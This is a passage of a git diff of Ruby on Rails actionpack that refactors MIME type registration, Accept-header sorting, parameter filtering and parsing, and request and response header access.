Array of Symbols, not a #{variant.class}. " \ + raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols. " \ "For security reasons, never directly set the variant to a user-provided value, " \ "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \ "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'" end end + def variant + @variant ||= ActiveSupport::ArrayInquirer.new + end + # Sets the \format by string extension, which can be used to force custom formats # that are not controlled by the extension. # @@ -100,7 +111,7 @@ module ActionDispatch # end def format=(extension) parameters[:format] = extension.to_s - @env["action_dispatch.request.formats"] = [Mime::Type.lookup_by_extension(parameters[:format])] + set_header "action_dispatch.request.formats", [Mime::Type.lookup_by_extension(parameters[:format])] end # Sets the \formats by string extensions. This differs from #format= by allowing you @@ -119,9 +130,9 @@ module ActionDispatch # end def formats=(extensions) parameters[:format] = extensions.first.to_s - @env["action_dispatch.request.formats"] = extensions.collect do |extension| + set_header "action_dispatch.request.formats", extensions.collect { |extension| Mime::Type.lookup_by_extension(extension) - end + } end # Receives an array of mimes and return the first user sent mime that @@ -151,6 +162,13 @@ module ActionDispatch def use_accept_header !self.class.ignore_accept_header end + + def format_from_path_extension + path = get_header('action_dispatch.original_path') || get_header('PATH_INFO') + if match = path && path.match(/\.(\w+)\z/) + Mime[match.captures.first] + end + end end end end diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb index 7e585aa244..4672ea7199 100644 --- a/actionpack/lib/action_dispatch/http/mime_type.rb +++ b/actionpack/lib/action_dispatch/http/mime_type.rb @@ -1,29 +1,39 @@ -require 'set' +# -*- frozen-string-literal: true -*- + require 'singleton' require 'active_support/core_ext/module/attribute_accessors' require 'active_support/core_ext/string/starts_ends_with' module Mime - class Mimes < Array - def symbols - @symbols ||= map(&:to_sym) + class Mimes + include Enumerable + + def initialize + @mimes = [] + @symbols = nil end - %w(<< concat shift unshift push pop []= clear compact! collect! - delete delete_at delete_if flatten! map! insert reject! reverse! - replace slice! sort! uniq!).each do |method| - module_eval <<-CODE, __FILE__, __LINE__ + 1 - def #{method}(*) - @symbols = nil - super - end - CODE + def each + @mimes.each { |x| yield x } + end + + def <<(type) + @mimes << type + @symbols = nil + end + + def delete_if + @mimes.delete_if { |x| yield x }.tap { @symbols = nil } + end + + def symbols + @symbols ||= map(&:to_sym) end end SET = Mimes.new EXTENSION_LOOKUP = {} - LOOKUP = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? } + LOOKUP = {} class << self def [](type) @@ -35,6 +45,32 @@ module Mime return type if type.is_a?(Type) EXTENSION_LOOKUP.fetch(type.to_s) { |k| yield k } end + + def const_missing(sym) + ext = sym.downcase + if Mime[ext] + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Accessing mime types via constants is deprecated. + Please change `Mime::#{sym}` to `Mime[:#{ext}]`. + MSG + Mime[ext] + else + super + end + end + + def const_defined?(sym, inherit = true) + ext = sym.downcase + if Mime[ext] + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Accessing mime types via constants is deprecated. + Please change `Mime.const_defined?(#{sym})` to `Mime[:#{ext}]`. + MSG + true + else + super + end + end end # Encapsulates the notion of a mime type. Can be used at render time, for example, with: @@ -45,15 +81,12 @@ module Mime # # respond_to do |format| # format.html - # format.ics { render text: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar") } + # format.ics { render body: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar") } # format.xml { render xml: @post } # end # end # end class Type - @@html_types = Set.new [:html, :all] - cattr_reader :html_types - attr_reader :symbol @register_callbacks = [] @@ -66,7 +99,7 @@ module Mime def initialize(index, name, q = nil) @index = index @name = name - q ||= 0.0 if @name == Mime::ALL.to_s # default wildcard match to end of list + q ||= 0.0 if @name == '*/*'.freeze # default wildcard match to end of list @q = ((q || 1.0).to_f * 100).to_i end @@ -75,70 +108,58 @@ module Mime result = @index <=> item.index if result == 0 result end - - def ==(item) - @name == item.to_s - end end - class AcceptList < Array #:nodoc: - def assort! - sort! + class AcceptList #:nodoc: + def self.sort!(list) + list.sort! + + text_xml_idx = find_item_by_name list, 'text/xml' + app_xml_idx = find_item_by_name list, Mime[:xml].to_s # Take care of the broken text/xml entry by renaming or deleting it if text_xml_idx && app_xml_idx + app_xml = list[app_xml_idx] + text_xml = list[text_xml_idx] + app_xml.q = [text_xml.q, app_xml.q].max # set the q value to the max of the two - exchange_xml_items if app_xml_idx > text_xml_idx # make sure app_xml is ahead of text_xml in the list - delete_at(text_xml_idx) # delete text_xml from the list + if app_xml_idx > text_xml_idx # make sure app_xml is ahead of text_xml in the list + list[app_xml_idx], list[text_xml_idx] = text_xml, app_xml + app_xml_idx, text_xml_idx = text_xml_idx, app_xml_idx + end + list.delete_at(text_xml_idx) # delete text_xml from the list elsif text_xml_idx - text_xml.name = Mime::XML.to_s + list[text_xml_idx].name = Mime[:xml].to_s end # Look for more specific XML-based types and sort them ahead of app/xml if app_xml_idx + app_xml = list[app_xml_idx] idx = app_xml_idx - while idx < length - type = self[idx] + while idx < list.length + type = list[idx] break if type.q < app_xml.q if type.name.ends_with? '+xml' - self[app_xml_idx], self[idx] = self[idx], app_xml - @app_xml_idx = idx + list[app_xml_idx], list[idx] = list[idx], app_xml + app_xml_idx = idx end idx += 1 end end - map! { |i| Mime::Type.lookup(i.name) }.uniq! - to_a + list.map! { |i| Mime::Type.lookup(i.name) }.uniq! + list end - private - def text_xml_idx - @text_xml_idx ||= index('text/xml') - end - - def app_xml_idx - @app_xml_idx ||= index(Mime::XML.to_s) - end - - def text_xml - self[text_xml_idx] - end - - def app_xml - self[app_xml_idx] - end - - def exchange_xml_items - self[app_xml_idx], self[text_xml_idx] = text_xml, app_xml - @app_xml_idx, @text_xml_idx = text_xml_idx, app_xml_idx - end + def self.find_item_by_name(array, name) + array.index { |item| item.name == name } + end end class << self - TRAILING_STAR_REGEXP = /(text|application)\/\*/ + TRAILING_STAR_REGEXP = /^(text|application)\/\*/ PARAMETER_SEPARATOR_REGEXP = /;\s*\w+="?\w+"?/ def register_callback(&block) @@ -146,7 +167,7 @@ module Mime end def lookup(string) - LOOKUP[string] + LOOKUP[string] || Type.new(string) end def lookup_by_extension(extension) @@ -160,17 +181,17 @@ module Mime end def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false) - Mime.const_set(symbol.upcase, Type.new(string, symbol, mime_type_synonyms)) + new_mime = Type.new(string, symbol, mime_type_synonyms) - new_mime = Mime.const_get(symbol.upcase) SET << new_mime - ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = SET.last } unless skip_lookup - ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = SET.last } + ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = new_mime } unless skip_lookup + ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = new_mime } @register_callbacks.each do |callback| callback.call(new_mime) end + new_mime end def parse(accept_header) @@ -178,21 +199,22 @@ module Mime accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact else - list, index = AcceptList.new, 0 + list, index = [], 0 accept_header.split(',').each do |header| params, q = header.split(PARAMETER_SEPARATOR_REGEXP) - if params.present? - params.strip! - params = parse_trailing_star(params) || [params] + next unless params + params.strip! + next if params.empty? - params.each do |m| - list << AcceptItem.new(index, m.to_s, q) - index += 1 - end + params = parse_trailing_star(params) || [params] + + params.each do |m| + list << AcceptItem.new(index, m.to_s, q) + index += 1 end end - list.assort! + AcceptList.sort! list end end @@ -200,34 +222,36 @@ module Mime parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP end - # For an input of <tt>'text'</tt>, returns <tt>[Mime::JSON, Mime::XML, Mime::ICS, - # Mime::HTML, Mime::CSS, Mime::CSV, Mime::JS, Mime::YAML, Mime::TEXT]</tt>. + # For an input of <tt>'text'</tt>, returns <tt>[Mime[:json], Mime[:xml], Mime[:ics], + # Mime[:html], Mime[:css], Mime[:csv], Mime[:js], Mime[:yaml], Mime[:text]</tt>. # - # For an input of <tt>'application'</tt>, returns <tt>[Mime::HTML, Mime::JS, - # Mime::XML, Mime::YAML, Mime::ATOM, Mime::JSON, Mime::RSS, Mime::URL_ENCODED_FORM]</tt>. - def parse_data_with_trailing_star(input) - Mime::SET.select { |m| m =~ input } + # For an input of <tt>'application'</tt>, returns <tt>[Mime[:html], Mime[:js], + # Mime[:xml], Mime[:yaml], Mime[:atom], Mime[:json], Mime[:rss], Mime[:url_encoded_form]</tt>. + def parse_data_with_trailing_star(type) + Mime::SET.select { |m| m =~ type } end # This method is opposite of register method. # - # Usage: + # To unregister a MIME type: # # Mime::Type.unregister(:mobile) def unregister(symbol) - symbol = symbol.upcase - mime = Mime.const_get(symbol) - Mime.instance_eval { remove_const(symbol) } - - SET.delete_if { |v| v.eql?(mime) } - LOOKUP.delete_if { |_,v| v.eql?(mime) } - EXTENSION_LOOKUP.delete_if { |_,v| v.eql?(mime) } + symbol = symbol.downcase + if mime = Mime[symbol] + SET.delete_if { |v| v.eql?(mime) } + LOOKUP.delete_if { |_, v| v.eql?(mime) } + EXTENSION_LOOKUP.delete_if { |_, v| v.eql?(mime) } + end end end + attr_reader :hash + def initialize(string, symbol = nil, synonyms = []) @symbol, @synonyms = symbol, synonyms @string = string + @hash = [@string, @synonyms, @symbol].hash end def to_s @@ -243,7 +267,7 @@ module Mime end def ref - to_sym || to_s + symbol || to_s end def ===(list) @@ -255,24 +279,34 @@ module Mime end def ==(mime_type) - return false if mime_type.blank? + return false unless mime_type (@synonyms + [ self ]).any? do |synonym| synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym end end + def eql?(other) + super || (self.class == other.class && + @string == other.string && + @synonyms == other.synonyms && + @symbol == other.symbol) + end + def =~(mime_type) - return false if mime_type.blank? + return false unless mime_type regexp = Regexp.new(Regexp.quote(mime_type.to_s)) - (@synonyms + [ self ]).any? do |synonym| - synonym.to_s =~ regexp - end + @synonyms.any? { |synonym| synonym.to_s =~ regexp } || @string =~ regexp end def html? - @@html_types.include?(to_sym) || @string =~ /html/ + symbol == :html || @string =~ /html/ end + def all?; false; end + + protected + + attr_reader :string, :synonyms private @@ -292,6 +326,22 @@ module Mime end end + class AllType < Type + include Singleton + + def initialize + super '*/*', :all + end + + def all?; true; end + def html?; true; end + end + + # ALL isn't a real MIME type, so we don't register it for lookup with the + # other concrete types. It's a wildcard match that we use for `respond_to` + # negotiation internals. + ALL = AllType.instance + class NullType include Singleton diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb index 0e4da36038..8b04174f1f 100644 --- a/actionpack/lib/action_dispatch/http/mime_types.rb +++ b/actionpack/lib/action_dispatch/http/mime_types.rb @@ -14,13 +14,14 @@ Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg) Mime::Type.register "image/gif", :gif, [], %w(gif) Mime::Type.register "image/bmp", :bmp, [], %w(bmp) Mime::Type.register "image/tiff", :tiff, [], %w(tif tiff) +Mime::Type.register "image/svg+xml", :svg Mime::Type.register "video/mpeg", :mpeg, [], %w(mpg mpeg mpe) Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml ) Mime::Type.register "application/rss+xml", :rss Mime::Type.register "application/atom+xml", :atom -Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml ) +Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml ), %w(yml yaml) Mime::Type.register "multipart/form-data", :multipart_form Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form @@ -31,6 +32,4 @@ Mime::Type.register "application/json", :json, %w( text/x-json application/jsonr Mime::Type.register "application/pdf", :pdf, [], %w(pdf) Mime::Type.register "application/zip", :zip, [], %w(zip) - -# Create Mime::ALL but do not add it to the SET. -Mime::ALL = Mime::Type.new("*/*", :all, []) +Mime::Type.register "application/gzip", :gzip, %w(application/x-gzip), %w(gz) diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb index df4b073a17..e826551f4b 100644 --- a/actionpack/lib/action_dispatch/http/parameter_filter.rb +++ b/actionpack/lib/action_dispatch/http/parameter_filter.rb @@ -30,36 +30,46 @@ module ActionDispatch when Regexp regexps << item else - strings << item.to_s + strings << Regexp.escape(item.to_s) end end - regexps << Regexp.new(strings.join('|'), true) unless strings.empty? - new regexps, blocks + deep_regexps, regexps = regexps.partition { |r| r.to_s.include?("\\.".freeze) } + deep_strings, strings = strings.partition { |s| s.include?("\\.".freeze) } + + regexps << Regexp.new(strings.join('|'.freeze), true) unless strings.empty? + deep_regexps << Regexp.new(deep_strings.join('|'.freeze), true) unless deep_strings.empty? + + new regexps, deep_regexps, blocks end - attr_reader :regexps, :blocks + attr_reader :regexps, :deep_regexps, :blocks - def initialize(regexps, blocks) + def initialize(regexps, deep_regexps, blocks) @regexps = regexps + @deep_regexps = deep_regexps.any? ? deep_regexps : nil @blocks = blocks end - def call(original_params) + def call(original_params, parents = []) filtered_params = {} original_params.each do |key, value| + parents.push(key) if deep_regexps if regexps.any? { |r| key =~ r } value = FILTERED + elsif deep_regexps && (joined = parents.join('.')) && deep_regexps.any? { |r| joined =~ r } + value = FILTERED elsif value.is_a?(Hash) - value = call(value) + value = call(value, parents) elsif value.is_a?(Array) - value = value.map { |v| v.is_a?(Hash) ? call(v) : v } + value = value.map { |v| v.is_a?(Hash) ? call(v, parents) : v } elsif blocks.any? key = key.dup if key.duplicable? value = value.dup if value.duplicable? blocks.each { |b| b.call(key, value) } end + parents.pop if deep_regexps filtered_params[key] = value end diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb index c2f05ecc86..ff5031d7d5 100644 --- a/actionpack/lib/action_dispatch/http/parameters.rb +++ b/actionpack/lib/action_dispatch/http/parameters.rb @@ -1,27 +1,50 @@ -require 'active_support/core_ext/hash/keys' -require 'active_support/core_ext/hash/indifferent_access' - module ActionDispatch module Http module Parameters + extend ActiveSupport::Concern + PARAMETERS_KEY = 'action_dispatch.request.path_parameters' + DEFAULT_PARSERS = { + Mime[:json].symbol => -> (raw_post) { + data = ActiveSupport::JSON.decode(raw_post) + data.is_a?(Hash) ? data : {:_json => data} + } + } + + included do + class << self + attr_reader :parameter_parsers + end + + self.parameter_parsers = DEFAULT_PARSERS + end + + module ClassMethods + def parameter_parsers=(parsers) # :nodoc: + @parameter_parsers = parsers.transform_keys { |key| key.respond_to?(:symbol) ? key.symbol : key } + end + end + # Returns both GET and POST \parameters in a single hash. def parameters - @env["action_dispatch.request.parameters"] ||= begin - params = begin - request_parameters.merge(query_parameters) - rescue EOFError - query_parameters.dup - end - params.merge!(path_parameters) - end + params = get_header("action_dispatch.request.parameters") + return params if params + + params = begin + request_parameters.merge(query_parameters) + rescue EOFError + query_parameters.dup + end + params.merge!(path_parameters) + set_header("action_dispatch.request.parameters", params) + params end alias :params :parameters def path_parameters=(parameters) #:nodoc: - @env.delete('action_dispatch.request.parameters') - @env[PARAMETERS_KEY] = parameters + delete_header('action_dispatch.request.parameters') + set_header PARAMETERS_KEY, parameters end # Returns a hash with the \parameters used to form the \path of the request. @@ -29,31 +52,29 @@ module ActionDispatch # # {'action' => 'my_action', 'controller' => 'my_controller'} def path_parameters - @env[PARAMETERS_KEY] ||= {} + get_header(PARAMETERS_KEY) || set_header(PARAMETERS_KEY, {}) end - private + private - # Convert nested Hash to HashWithIndifferentAccess. - # - def normalize_encode_params(params) - case params - when Hash - if params.has_key?(:tempfile) - UploadedFile.new(params) - else - params.each_with_object({}) do |(key, val), new_hash| - new_hash[key] = if val.is_a?(Array) - val.map! { |el| normalize_encode_params(el) } - else - normalize_encode_params(val) - end - end.with_indifferent_access - end - else - params + def parse_formatted_parameters(parsers) + return yield if content_length.zero? + + strategy = parsers.fetch(content_mime_type.symbol) { return yield } + + begin + strategy.call(raw_post) + rescue # JSON or Ruby code block errors + my_logger = logger || ActiveSupport::Logger.new($stderr) + my_logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{raw_post}" + + raise ParamsParser::ParseError end end + + def params_parsers + ActionDispatch::Request.parameter_parsers + end end end end diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb index 732ee67268..b0ed681623 100644 --- a/actionpack/lib/action_dispatch/http/request.rb +++ b/actionpack/lib/action_dispatch/http/request.rb @@ -13,12 +13,14 @@ require 'action_dispatch/http/url' require 'active_support/core_ext/array/conversions' module ActionDispatch - class Request < Rack::Request + class Request + include Rack::Request::Helpers include ActionDispatch::Http::Cache::Request include ActionDispatch::Http::MimeNegotiation include ActionDispatch::Http::Parameters include ActionDispatch::Http::FilterParameters include ActionDispatch::Http::URL + include Rack::Request::Env autoload :Session, 'action_dispatch/request/session' autoload :Utils, 'action_dispatch/request/utils' @@ -29,19 +31,28 @@ module ActionDispatch PATH_TRANSLATED REMOTE_HOST REMOTE_IDENT REMOTE_USER REMOTE_ADDR SERVER_NAME SERVER_PROTOCOL + ORIGINAL_SCRIPT_NAME HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM - HTTP_NEGOTIATE HTTP_PRAGMA ].freeze + HTTP_NEGOTIATE HTTP_PRAGMA HTTP_CLIENT_IP + HTTP_X_FORWARDED_FOR HTTP_ORIGIN HTTP_VERSION + HTTP_X_CSRF_TOKEN HTTP_X_REQUEST_ID HTTP_X_FORWARDED_HOST + SERVER_ADDR + ].freeze ENV_METHODS.each do |env| class_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{env.sub(/^HTTP_/n, '').downcase} # def accept_charset - @env["#{env}"] # @env["HTTP_ACCEPT_CHARSET"] + get_header "#{env}".freeze # get_header "HTTP_ACCEPT_CHARSET".freeze end # end METHOD end + def self.empty + new({}) + end + def initialize(env) super @method = nil @@ -50,7 +61,9 @@ module ActionDispatch @original_fullpath = nil @fullpath = nil @ip = nil - @request_id = nil + end + + def commit_cookie_jar! # :nodoc: end def check_path_parameters! @@ -59,13 +72,32 @@ module ActionDispatch path_parameters.each do |key, value| next unless value.respond_to?(:valid_encoding?) unless value.valid_encoding? - raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}" + raise ActionController::BadRequest, "Invalid parameter encoding: #{key} => #{value.inspect}" end end end + PASS_NOT_FOUND = Class.new { # :nodoc: + def self.action(_); self; end + def self.call(_); [404, {'X-Cascade' => 'pass'}, []]; end + } + + def controller_class + check_path_parameters! + params = path_parameters + + if params.key?(:controller) + controller_param = params[:controller].underscore + params[:action] ||= 'index' + const_name = "#{controller_param.camelize}Controller" + ActiveSupport::Dependencies.constantize(const_name) + else + PASS_NOT_FOUND + end + end + def key?(key) - @env.key?(key) + has_header? key end # List of HTTP request methods from the following RFCs: @@ -102,27 +134,50 @@ module ActionDispatch # the application should use), this \method returns the overridden # value, not the original. def request_method - @request_method ||= check_method(env["REQUEST_METHOD"]) + @request_method ||= check_method(super) end def routes # :nodoc: - env["action_dispatch.routes".freeze] + get_header("action_dispatch.routes".freeze) end - def original_script_name # :nodoc: - env['ORIGINAL_SCRIPT_NAME'.freeze] + def routes=(routes) # :nodoc: + set_header("action_dispatch.routes".freeze, routes) end def engine_script_name(_routes) # :nodoc: - env[_routes.env_key] + get_header(_routes.env_key) + end + + def engine_script_name=(name) # :nodoc: + set_header(routes.env_key, name.dup) end def request_method=(request_method) #:nodoc: if check_method(request_method) - @request_method = env["REQUEST_METHOD"] = request_method + @request_method = set_header("REQUEST_METHOD", request_method) end end + def controller_instance # :nodoc: + get_header('action_controller.instance'.freeze) + end + + def controller_instance=(controller) # :nodoc: + set_header('action_controller.instance'.freeze, controller) + end + + def http_auth_salt + get_header "action_dispatch.http_auth_salt" + end + + def show_exceptions? # :nodoc: + # We're treating `nil` as "unset", and we want the default setting to be + # `true`. This logic should be extracted to `env_config` and calculated + # once. + !(get_header('action_dispatch.show_exceptions'.freeze) == false) + end + # Returns a symbol form of the #request_method def request_method_symbol HTTP_METHOD_LOOKUP[request_method] @@ -132,7 +187,7 @@ module ActionDispatch # even if it was overridden by middleware. See #request_method for # more information. def method - @method ||= check_method(env["rack.methodoverride.original_method"] || env['REQUEST_METHOD']) + @method ||= check_method(get_header("rack.methodoverride.original_method") || get_header('REQUEST_METHOD')) end # Returns a symbol form of the #method @@ -140,47 +195,11 @@ module ActionDispatch HTTP_METHOD_LOOKUP[method] end - # Is this a GET (or HEAD) request? - # Equivalent to <tt>request.request_method_symbol == :get</tt>. - def get? - HTTP_METHOD_LOOKUP[request_method] == :get - end - - # Is this a POST request? - # Equivalent to <tt>request.request_method_symbol == :post</tt>. - def post? - HTTP_METHOD_LOOKUP[request_method] == :post - end - - # Is this a PATCH request? - # Equivalent to <tt>request.request_method == :patch</tt>. - def patch? - HTTP_METHOD_LOOKUP[request_method] == :patch - end - - # Is this a PUT request? - # Equivalent to <tt>request.request_method_symbol == :put</tt>. - def put? - HTTP_METHOD_LOOKUP[request_method] == :put - end - - # Is this a DELETE request? - # Equivalent to <tt>request.request_method_symbol == :delete</tt>. - def delete? - HTTP_METHOD_LOOKUP[request_method] == :delete - end - - # Is this a HEAD request? - # Equivalent to <tt>request.request_method_symbol == :head</tt>. - def head? - HTTP_METHOD_LOOKUP[request_method] == :head - end - # Provides access to the request's HTTP headers, for example: # # request.headers["Content-Type"] # => "text/plain" def headers - Http::Headers.new(@env) + @headers ||= Http::Headers.new(self) end # Returns a +String+ with the last requested path including their params. @@ -191,7 +210,7 @@ module ActionDispatch # # get '/foo?bar' # request.original_fullpath # => '/foo?bar' def original_fullpath - @original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath) + @original_fullpath ||= (get_header("ORIGINAL_FULLPATH") || fullpath) end # Returns the +String+ full path including params of the last URL requested. @@ -230,19 +249,27 @@ module ActionDispatch # (case-insensitive), which may need to be manually added depending on the # choice of JavaScript libraries and frameworks. def xml_http_request? - @env['HTTP_X_REQUESTED_WITH'] =~ /XMLHttpRequest/i + get_header('HTTP_X_REQUESTED_WITH') =~ /XMLHttpRequest/i end alias :xhr? :xml_http_request? + # Returns the IP address of client as a +String+. def ip @ip ||= super end - # Originating IP address, usually set by the RemoteIp middleware. + # Returns the IP address of client as a +String+, + # usually set by the RemoteIp middleware. def remote_ip - @remote_ip ||= (@env["action_dispatch.remote_ip"] || ip).to_s + @remote_ip ||= (get_header("action_dispatch.remote_ip") || ip).to_s + end + + def remote_ip=(remote_ip) + set_header "action_dispatch.remote_ip".freeze, remote_ip end + ACTION_DISPATCH_REQUEST_ID = "action_dispatch.request_id".freeze # :nodoc: + # Returns the unique request id, which is based on either the X-Request-Id header that can # be generated by a firewall, load balancer, or web server or by the RequestId middleware # (which sets the action_dispatch.request_id environment variable). @@ -250,44 +277,56 @@ module ActionDispatch # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging. # This relies on the rack variable set by the ActionDispatch::RequestId middleware. def request_id - @request_id ||= env["action_dispatch.request_id"] + get_header ACTION_DISPATCH_REQUEST_ID + end + + def request_id=(id) # :nodoc: + set_header ACTION_DISPATCH_REQUEST_ID, id end alias_method :uuid, :request_id # Returns the lowercase name of the HTTP server software. def server_software - (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil + (get_header('SERVER_SOFTWARE') && /^([a-zA-Z]+)/ =~ get_header('SERVER_SOFTWARE')) ? $1.downcase : nil end # Read the request \body. This is useful for web services that need to # work with raw requests directly. def raw_post - unless @env.include? 'RAW_POST_DATA' + unless has_header? 'RAW_POST_DATA' raw_post_body = body - @env['RAW_POST_DATA'] = raw_post_body.read(content_length) + set_header('RAW_POST_DATA', raw_post_body.read(content_length)) raw_post_body.rewind if raw_post_body.respond_to?(:rewind) end - @env['RAW_POST_DATA'] + get_header 'RAW_POST_DATA' end # The request body is an IO input stream. If the RAW_POST_DATA environment # variable is already set, wrap it in a StringIO. def body - if raw_post = @env['RAW_POST_DATA'] + if raw_post = get_header('RAW_POST_DATA') raw_post.force_encoding(Encoding::BINARY) StringIO.new(raw_post) else - @env['rack.input'] + body_stream end end + # Determine whether the request body contains form-data by checking + # the request Content-Type for one of the media-types: + # "application/x-www-form-urlencoded" or "multipart/form-data". The + # list of form-data media types can be modified through the + # +FORM_DATA_MEDIA_TYPES+ array. + # + # A request body is not assumed to contain form-data when no + # Content-Type header is provided and the request_method is POST. def form_data? - FORM_DATA_MEDIA_TYPES.include?(content_mime_type.to_s) + FORM_DATA_MEDIA_TYPES.include?(media_type) end def body_stream #:nodoc: - @env['rack.input'] + get_header('rack.input') end # TODO This should be broken apart into AD::Request::Session and probably @@ -298,51 +337,74 @@ module ActionDispatch else self.session = {} end - @env['action_dispatch.request.flash_hash'] = nil end def session=(session) #:nodoc: - Session.set @env, session + Session.set self, session end def session_options=(options) - Session::Options.set @env, options + Session::Options.set self, options end # Override Rack's GET method to support indifferent access def GET - @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {})) + fetch_header("action_dispatch.request.query_parameters") do |k| + rack_query_params = super || {} + # Check for non UTF-8 parameter values, which would cause errors later + Request::Utils.check_param_encoding(rack_query_params) + set_header k, Request::Utils.normalize_encode_params(rack_query_params) + end rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e - raise ActionController::BadRequest.new(:query, e) + raise ActionController::BadRequest.new("Invalid query parameters: #{e.message}") end alias :query_parameters :GET # Override Rack's POST method to support indifferent access def POST - @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge(normalize_encode_params(super || {})) + fetch_header("action_dispatch.request.request_parameters") do + pr = parse_formatted_parameters(params_parsers) do |params| + super || {} + end + self.request_parameters = Request::Utils.normalize_encode_params(pr) + end + rescue ParamsParser::ParseError # one of the parse strategies blew up + self.request_parameters = Request::Utils.normalize_encode_params(super || {}) + raise rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e - raise ActionController::BadRequest.new(:request, e) + raise ActionController::BadRequest.new("Invalid request parameters: #{e.message}") end alias :request_parameters :POST # Returns the authorization header regardless of whether it was specified directly or through one of the # proxy alternatives. def authorization - @env['HTTP_AUTHORIZATION'] || - @env['X-HTTP_AUTHORIZATION'] || - @env['X_HTTP_AUTHORIZATION'] || - @env['REDIRECT_X_HTTP_AUTHORIZATION'] + get_header('HTTP_AUTHORIZATION') || + get_header('X-HTTP_AUTHORIZATION') || + get_header('X_HTTP_AUTHORIZATION') || + get_header('REDIRECT_X_HTTP_AUTHORIZATION') end - # True if the request came from localhost, 127.0.0.1. + # True if the request came from localhost, 127.0.0.1, or ::1. def local? LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip end - protected - def parse_query(qs) - Utils.deep_munge(super) - end + def request_parameters=(params) + raise if params.nil? + set_header("action_dispatch.request.request_parameters".freeze, params) + end + + def logger + get_header("action_dispatch.logger".freeze) + end + + def commit_flash + end + + def ssl? + super || scheme == 'wss'.freeze + end private def check_method(name) diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb index a895d1ab18..1515d59df3 100644 --- a/actionpack/lib/action_dispatch/http/response.rb +++ b/actionpack/lib/action_dispatch/http/response.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/module/attribute_accessors' require 'action_dispatch/http/filter_redirect' +require 'action_dispatch/http/cache' require 'monitor' module ActionDispatch # :nodoc: @@ -32,46 +33,62 @@ module ActionDispatch # :nodoc: # end # end class Response + class Header < DelegateClass(Hash) # :nodoc: + def initialize(response, header) + @response = response + super(header) + end + + def []=(k,v) + if @response.sending? || @response.sent? + raise ActionDispatch::IllegalStateError, 'header already sent' + end + + super + end + + def merge(other) + self.class.new @response, __getobj__.merge(other) + end + + def to_hash + __getobj__.dup + end + end + # The request that the response is responding to. attr_accessor :request # The HTTP status code. attr_reader :status - attr_writer :sending_file + # Get headers for this response. + attr_reader :header - # Get and set headers for this response. - attr_accessor :header - - alias_method :headers=, :header= alias_method :headers, :header delegate :[], :[]=, :to => :@header - delegate :each, :to => :@stream - - # Sets the HTTP response's content MIME type. For example, in the controller - # you could write this: - # - # response.content_type = "text/plain" - # - # If a character set has been defined for this response (see charset=) then - # the character set information will also be included in the content type - # information. - attr_reader :content_type - # The charset of the response. HTML wants to know the encoding of the - # content you're giving them, so we need to send that along. - attr_accessor :charset + def each(&block) + sending! + x = @stream.each(&block) + sent! + x + end CONTENT_TYPE = "Content-Type".freeze SET_COOKIE = "Set-Cookie".freeze LOCATION = "Location".freeze - NO_CONTENT_CODES = [204, 304] + NO_CONTENT_CODES = [100, 101, 102, 204, 205, 304] cattr_accessor(:default_charset) { "utf-8" } cattr_accessor(:default_headers) include Rack::Response::Helpers + # Aliasing these off because AD::Http::Cache::Response defines them + alias :_cache_control :cache_control + alias :_cache_control= :cache_control= + include ActionDispatch::Http::FilterRedirect include ActionDispatch::Http::Cache::Response include MonitorMixin @@ -81,20 +98,33 @@ module ActionDispatch # :nodoc: @response = response @buf = buf @closed = false + @str_body = nil + end + + def body + @str_body ||= begin + buf = '' + each { |chunk| buf << chunk } + buf + end end def write(string) raise IOError, "closed stream" if closed? + @str_body = nil @response.commit! @buf.push string end def each(&block) - @response.sending! - x = @buf.each(&block) - @response.sent! - x + if @str_body + return enum_for(:each) unless block_given? + + yield @str_body + else + each_chunk(&block) + end end def abort @@ -108,38 +138,48 @@ module ActionDispatch # :nodoc: def closed? @closed end + + private + + def each_chunk(&block) + @buf.each(&block) # extract into 